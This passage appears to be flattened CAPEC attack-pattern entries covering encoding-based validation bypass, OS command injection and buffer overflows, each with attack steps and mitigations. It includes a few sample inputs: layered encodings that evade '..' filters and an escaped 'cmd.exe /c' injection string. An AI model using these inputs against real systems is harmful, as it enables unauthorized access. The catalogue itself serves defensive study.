Determine application/system inputs where bypassing input validation is desired The attacker first needs to determine all of the application's/system's inputs where input validation is being performed and where he/she wants to bypass it. While using an application/system, the attacker discovers an input where validation is stopping him/her from performing some malicious or unauthorized actions. env-All When provided with unexpected input, application provides an error message stating that the input was invalid or that access was denied. env-All Determine which character encodings are accepted by the application/system The attacker then needs to provide various character encodings to the application/system and determine which ones are accepted. The attacker will need to observe the application's/system's response to the encoded data to determine whether the data was interpreted properly. Determine which escape characters are accepted by the application/system. A common escape character is the backslash character, '\' env-All Determine whether URL encoding is accepted by the application/system. env-All Determine whether UTF-8 encoding is accepted by the application/system. env-All Determine whether UTF-16 encoding is accepted by the application/system. env-All Determine if any other encodings are accepted by the application/system. env-All System provides error message similar to the one it provided when a positivie indicator was received for the first step. env-All Application/system accepts at least one high level character encoding where characters can be represented with multiple ASCII characters. Application/system interprets each character separately. Detect and alert on appearance of encodings in log messages (e.g. "Unsuccessful login by &lt;joe") Combine multiple encodings accepted by the application. The attacker now combines encodings accepted by the application. The attacker may combine different encodings or apply the same encoding multiple times. Combine same encoding multiple times and observe its effects. For example, if special characters are encoded with a leading backslash, then the following encoding may be accepted by the application/system: "\\\.". With two parsing layers, this may get converted to "\." after the first parsing layer, and then, to "." after the second. If the input validation layer is between the two parsing layers, then "\\\.\\\." might pass a test for ".." but still get converted to ".." afterwards. This may enable directory traversal attacks. env-All Combine multiple encodings and observe the effects. For example, the attacker might encode "." as "\.", and then, encode "\." as "&#92;&#46;", and then, encode that using URL encoding to "%26%2392%3B%26%2346%3B" env-All Application/System interprets the multiple encodings properly. env-All Attacker bypasses input validation layer(s) and passes data to application that it does not expect. Ensure that the input validation layer is executed after as many parsing layers as possible. Determine the details of any parsing layers that get executed after the input validation layer (this may be necessary in the case of filesystem access, for example, where the operating system also includes a parsing layer), and ensure that the input validator accounts for the various encodings of illegal characters and character sequences in those layers. Leverage ability to bypass input validation Attacker leverages his ability to bypass input validation to gain unauthorized access to system. There are many attacks possible, and a few examples are mentioned here. Gain access to sensitive files. env-All Perform command injection. env-All Perform SQL injection. env-All Perform XSS attacks. env-All Success outcome in previous step env-All Failure outcome in previous step env-All Gaining unauthorized access to system functionality. User input is used to construct a command to be executed on the target system or as part of the file name. Multiple parser passes are performed on the data supplied by the user. High Medium Injection Modification of Resources Using Escapes The backslash character provides a good example of the multiple-parser issue. A backslash is used to escape characters in strings, but is also used to delimit directories on the NT file system. When performing a command injection that includes NT paths, there is usually a need to "double escape" the backslash. In some cases, a quadruple escape is necessary. Original String: C:\\\\winnt\\\\system32\\\\cmd.exe /c <parsing layer> Interim String: C:\\winnt\\system32\\cmd.exe /c <parsing layer> Final String: C:\winnt\system32\cmd.exe /c This diagram shows each successive layer of parsing translating the backslash character. A double backslash becomes a single as it is parsed. By using quadruple backslashes, the attacker is able to control the result in the final string. From G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Medium Initially a fuzzer can be used to see what the application is successfully and escaping and what causes problems. This may be a good starting point. Manually try to introduce multiple layers of control characters and see how many layers the application can escape. Control characters are being detected by the filters repeatedly. An iterative approach to input validation may be required to ensure that no dangerous characters are present. It may be necessary to implement redundant checking across different input validation layers. Ensure that invalid data is rejected as soon as possible and do not continue to work with it. Make sure to perform input validation on canonicalized data (i.e. data that is data in its most standard form). This will help avoid tricky encodings getting past the filters. Assume all input is malicious. Create a white list that defines all valid input to the software system based on the requirements specifications. Input that does not match against the white list should not be permitted to enter into the system. Data Modification Privilege Escalation Information Leakage 171 Targeted 179 Targeted 181 Targeted 184 Targeted 183 Targeted 77 Targeted 78 Targeted 74 Targeted 20 Targeted 697 Targeted 707 Targeted Defense in Depth Penetration Medium High High All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Input Validation G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eugene Lebanidze Cigital, Inc 2007-02-26 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Amit Sethi Cigital, Inc. 2007-10-29 Added extended Attack Execution Flow

An attacker can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Identify inputs for OS commands The attacker determines user controllable input that gets passed as part of a command to the underlying operating system. Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports. env-Local env-CommProtocol env-Peer2Peer env-ClientServer TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, he attempts to guess the actual operating system. env-Embedded env-ClientServer env-Peer2Peer env-CommProtocol env-Web Induce errors to find informative error messages env-All The target software accepts connections via the network. env-Web env-CommProtocol env-Peer2Peer env-Embedded env-ClientServer Operating environment (operating system, language, and/or middleware) is correctly identified. Multiple candidate operating environments are suggested. Provide misleading information on TCIP/IP fingerprints (some operating systems can be configured to send signatures that match other operating systems). Provide misleading information at the server level (e.g., Apache, IIS, WebLogic, etc.) to announce a different server software. Some fingerprinting techniques can be detected by operating systems or by network IDS systems because they leave the network connection half-open, or they do not belong to a valid, open connection. Survey the Application The attacker surveys the target application, possibly as a valid and authenticated user Spidering web sites for all available links env-Web Inventory all application inputs env-All Attacker develops a list of valid inputs env-All The attacker develops a list of likely command delimiters. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Monitor velocity of feature activations (non-web software). Humans who activate features (click buttons, request actions, invoke APIs, etc.) will do so far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Vary inputs, looking for malicious results. Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input, containing OS commands, to be passed to the application Inject command delimiters using network packet injection tools (netcat, nemesis, etc.) env-CommProtocol env-Web env-Peer2Peer env-ClientServer Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.) env-Web Inventorying in prior step is successful. env-All One or more injections that are appropriate to the platform provokes an unexpected response from the software, which can be varied by the attacker based on the input. Execute malicious commands The attacker may steal information, install a back door access mechanism, elevate privileges or compromise the system in some other way. The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection). env-All The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection). env-All The attacker executes a command that stores sensitive information into a location where he can retrieve it later (perhaps using a different command injection). env-All The software performs an action the attacker desires. This might be displaying information, storing a program, executing a command, or some other malicious activity. Make commonly exploited administrative tools log their execution. Make commonly exploited administrative tools non-executable, except when the system is in specific maintenance periods. (i.e., require administrators to specifically enable certain administrative commands prior to performing system maintenance.) User controllable input used as part of commands to the underlying operating system. High High There is high motivation for the attacker to seek out and discover opportunities for this attack due to the power it yields. Injection API Abuse A transaction processing system relies on code written in a number of languages. To access this functionality, the system passes transaction information on the system command line. An attacker can gain access to the system command line and execute malicious commands by injecting these commands in the transaction data. If successful, the attacker can steal information, install backdoors and perform other nefarious activities that can compromise the system and its data. A vulnerability in Mozilla Firefox 1.x browser allows an attacker to execute arbitrary commands on the UNIX/Linux operating system. The vulnerability is caused due to the shell script used to launch Firefox parsing shell commands that are enclosed within backticks in the URL provided via the command line. This can be exploited to execute arbitrary shell commands by tricking a user into following a malicious link in an external application which uses Firefox as the default browser (e.g. the mail client Evolution on Red Hat Enterprise Linux 4). High: The attacker needs to have knowledge of not only the application to exploit but also the exact nature of commands that pertain to the target operating system. This may involve, though not always, knowledge of specific assembly commands for the platform. Use language APIs rather than relying on passing data to the oeprating system shell or command line. Doing so ensures that the available protection mechanisms in the language are intact and applicable. Filter all incoming data to escape or remove characters or strings that can be potentially misinterpreted as operating system or shell commands All application processes should be run with the minimal privileges required. Also, processes must shed privileges as soon as they no longer require them. Run Arbitrary Code Privilege Escalation Information Leakage Most modern applications are written using the J2EE or .NET managed platforms. These platforms provide fairly robust mechanism to protect against code inadvertently accessing parts of the underlying system that it should not. However, two chief factors mitigate against the eradication of OS command injection. The first one relates to the use of native code and libraries. The only way for any managed platform to access this functionality is by calling into the underlying operating system. The second factor relates to the prevalence of unmanaged code, such as PERL code, used to create application. PERL, for example, is the language of choice when programming using CGI. PERL is unmanaged and allows easy mechanisms for the programmer to call the underlying operating system commands. This problem is exacerbated by the fact that such calls into the oeprating system are made with far higher privileges than required, thus leading to additional damage. Since input validation is an art not yet perfected, opportunities abound for attackers to abuse applications and execute commands on the underlying operating system. User-controllable input used as part of operating system commands Operating system commands injected by the attacker, intended to escalate privilege or divulge information Underlying operating system hosting the exploited application. The injected OS commands are interpreted by the shell, causing them to be executed under the privileges of the process running the exploited application. 78 Targeted 88 Secondary 20 Secondary 697 Targeted 713 Targeted Least Privilege Reluctance To Trust Never Use Unvalidated Input as Part of a Directive to any Internal Component Penetration Exploitation High High High All All All All Secunia Advisory SA16869: Firefox Command Line URL Shell Command Injection Chiradeep B. Chhaya 2007-03-16 First Draft Sean Barnum Cigital, Inc 2007-04-16 Review and revise

An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may includes music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the attacker access to the execution stack and execute arbitrary code in the target process. This attack pattern is a variant of standard buffer overflow attacks using an unexpected vector (binary files) to wrap its attack and open up a new attack vector. The attacker is required to either directly serve the binary content to the victim, or place it in a locale like a MP3 sharing application, for the victim to download. The attacker then is notified upon the download or otherwise locates the vulnerability opened up by the buffer overflow.

Target software processes binary resource files. Target software contains a buffer overflow vulnerability reachable through input from a user-controllable binary resource file. Very High High Modification of Resources Binary files like music and video files are appended with additional data to cause buffer overflow on target systems. Because these files may be filled with otherwise popular content, the attacker has an excellent vector for wide distribution. There have been numerous cases, for example of malicious screen savers for sports teams that are distributed on the event of the team winning a championship. Medium: to modify file, deceive client into downloading, locate and exploit remote stack or heap vulnerability Perform appropriate bounds checking on all buffers. Design: Enforce principle of least privilege Design: Static code analysis Implementation: Execute program in less trusted process space environment, do not allow lower integrity processes to write to higher integrity processes Implementation: Keep software patched to ensure that known vulnerabilities are not available for attackers to target on host. Denial of Service Run Arbitrary Code "Attack Pattern: Overflow Binary Resource File The attacker modifies a resource file, such as sound, video, graphic, or font file. Sometimes simply editing the target resource file in a hex editor is possible. The attacker modifies headers and structure data that indicate the length of strings, and so forth." [Hoglund and McGraw 04] 119 Targeted 697 Targeted 713 Targeted 23 Similar 35 Similar Penetration Exploitation High High High All All All All C C++ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

This type of attack leverages the use of symbolic links to cause buffer overflows. An attacker can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.

The attacker creates or modifies a symbolic link pointing to a resources (e.g., file, directory). The content of the symbolic link file includes out-of-bounds (e.g. excessive length) data. The target host consumes the data pointed to by the symbolic link file. The target host may either intentionally expect to read a symbolic link or it may be fooled by the replacement of the original resource and read the attacker's symbolic link. While consuming the data, the target host does not check for buffer boundary which can lead to a buffer overflow. If the content of the data is controlled by the attacker, this is an avenue for remote code execution. The attacker can create symbolic link on the target host. The target host does not perform correct boundary checking while consuming data from a ressources. High High Injection Modification of Resources Attack Example: Overflow with Symbolic Links in EFTP Server The EFTP server has a buffer overflow that can be exploited if an attacker uploads a .lnk (link) file that contains more than 1,744 bytes. This is a classic example of an indirect buffer overflow. First the attacker uploads some content (the link file) and then the attacker causes the client consuming the data to be exploited. In this example, the ls command is exploited to compromise the server software. Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. The attacker will look for temporary files in the world readable directories. Those temporary files are often created and read by the system. The attacker will look for Symbolic link or link target file that she can overide. An attacker creating or modifying Symbolic links is a potential signal of attack in progress. An attacker deleting temporary files can also be a sign that the attacker is trying to replace legitimate resources with malicious ones. Pay attention to the fact that the ressource you read from can be a replaced by a Symbolic link. You can do a Symlink check before reading the file and decide that this is not a legitimate way of accessing the resource. Because Symlink can be modified by an attacker, make sure that the ones you read are located in protected directories. Pay attention to the resource pointed to by your symlink links (See attack pattern named "Forced Symlink race"), they can be replaced by malicious resources. Always check the size of the input data before copying to a buffer. Use a language or compiler that performs automatic bounds checking. Use an abstraction library to abstract away risky APIs. Not a complete solution. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Use OS-level preventative functionality. Not a complete solution. Denial of Service Run Arbitrary Code Information Leakage Data Modification Content-Based Buffer Overflow Data files are ubiquitous. They are used to store everything from documents to content media and critical computer settings. Every file has an inherent format that often encompasses special information such as file length, media type, and which fonts are boldface, all encoded directly in the data file. The attack vector against data files like these is simple: Mess up the data file and wait for some unsuspecting user to open it. Some kinds of files are strikingly simple and others have complex binary structures and numerical data embedded in them. Sometimes the simple act of opening a complex file in a hex editor and tweaking a few bytes is enough to cause the (unsuspecting) program that consumes the file to crash and burn. What's really interesting from an attacker's point of view is formatting data file-embedded poison pills in such a way that virus code is activated. A great example of this involved the Winamp program in which an overly long IDv3 tag would cause a buffer overflow. In the header of an MP3 file, there is a location where a normal text string can be placed. This is called the IDv3 tag, and if an overly long tag were to be supplied, Winamp would suffer a buffer overflow. This could be used by an attacker to construct malicious music files that attack the computer once they are opened in Winamp. Access right to the symbolic link: When a symlink is created there are no rights associated with it (this why you read them with rights lrwxrwxrwx). So everybody can modify them even if the owner of the Symlink is root and if the user changing the Symbolic link has no right on the link target file. The relevant rights are on the linked target file. To prevent someone from modifying the symlink in the first place, the directory containing it should have limited access rights. The resource pointed to by the Symbolic link (e.g., file, directory, etc.) The buffer overrun by the attacker. When the function returns control to the main program, it jumps to the return address portion of the stack frame. Unfortunately that return address may have been overwritten by the overflowed buffer and the address may contain a call to a privileged command or to a malicious code. The most common is remote code execution. 120 Targeted 285 Secondary 302 Targeted 118 Targeted 119 Targeted 74 Targeted 20 Targeted 680 Targeted 697 Targeted Reluctance to trust Penetration Exploitation High High High All All All All C C++ G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. CWE - Buffer Errors G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-03-01 Eric Dalci Cigital, Inc 2007-02-13 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-05 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback

Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an attacker. As a consequence, an attacker is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the attacker's choice.

The attacker identifies a buffer to target. Buffer regions are either allotted on the stack or the heap, and the exact nature of attack would vary depending on the location of the buffer Next, the attacker identifies an injection vector to deliver the excessive content to the targeted buffer. The attacker crafts the content to be injected. If the intent is to simply cause the software to crash, the content need only consist of an excessive quantity of random data. If the intent is to leverage the overflow for execution of arbitrary code, the attacker will craft a set of content that not only overflows the targeted buffer but does so in such a way that the overwritten return address is replaced with one of the attacker's choosing which points to code injected by the attacker. The attacker injects the content into the targeted software. Upon successful exploitation, the system either crashes or control of the program is returned to a location of the attacker's choice. This can result in execution of arbitrary code or escalated privileges, depending upon the exploited target. Targeted software performs buffer operations. Targeted software inadequately performs bounds-checking on buffer operations. Attacker has the capability to influence the input to buffer operations. Very High High Injection Analysis The most straightforward example is an application that reads in input from the user and stores it in an internal buffer but does not check that the size of the input data is less than or equal to the size of the buffer. If the user enters excessive length data, the buffer may overflow leading to the application crashing, or worse, enabling the user to cause execution of injected code. Many web servers enforce security in web applications through the use of filter plugins. An example is the SiteMinder plugin used for authentication. An overflow in such a plugin, possibly through a long URL or redirect parameter, can allow an attacker not only to bypass the security checks but also execute arbitrary code on the target web server in the context of the user that runs the web server process. Low: In most cases, overflowing a buffer does not require advanced skills beyond the ability to notice an overflow and stuff an input variable with content. High: In cases of directed overflows, where the motive is to divert the flow of the program or application as per the attacker's bidding, high level skills are required. This may involve detailed knowledge of the target system architecture and kernel. None: Detecting and exploiting a buffer overflow does not require any resources beyond knowledge of and access to the target system. The attacker sends in overtly long input in variables under his control. If the target system or application handles it gracefully, the attack becomes difficult. However, an error condition or a system crash point to a high likelihood of successful exploitation. In cases where the attack is directed at a particular system or application, such as an operating system or a web server, the attacker can refer to system architecture and design documentation to figure out the exact point of injection and exploitation. An attack designed to leverage a buffer overflow and redirect execution as per the attacker's bidding is fairly difficult to detect. An attack aimed solely at bringing the system down is usually preceded by a barrage of long inputs that make no sense. In either case, it is likely that the attacker would have resorted to a few hit-or-miss attempts that will be recorded in the system event logs, if they exist. A buffer overflow attack itself is pretty difficult to obfuscate. There, however, exist fairly advanced techniques to ofuscate the payload, in order to bypass an intrusion detection system or filtering, either in the application or by means of an application firewall of some sorts. Use a language or compiler that performs automatic bounds checking. Use secure functions not vulnerable to buffer overflow. If you have to use dangerous functions, make sure that you do boundary checking. Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution. Use OS-level preventative functionality. Not a complete solution. Utilize static source code analysis tools to identify potential buffer overflow weaknesses in the software. Denial of Service Run Arbitrary Code Privilege Escalation Every program or application is designed to process some inputs received from the user or another system. Buffer overflows abound because programs trust user-controlled input. A buffer is a region of memory allocated for the purposes of storing certain data values. These can be environment variables, user-suppplied input or temporary scratch space. These regions are allocated on a stack (static allocation) or a heap (dynamic allocation). Although the exact payload used to exploit an overflow in buffers allocated on the stack or hea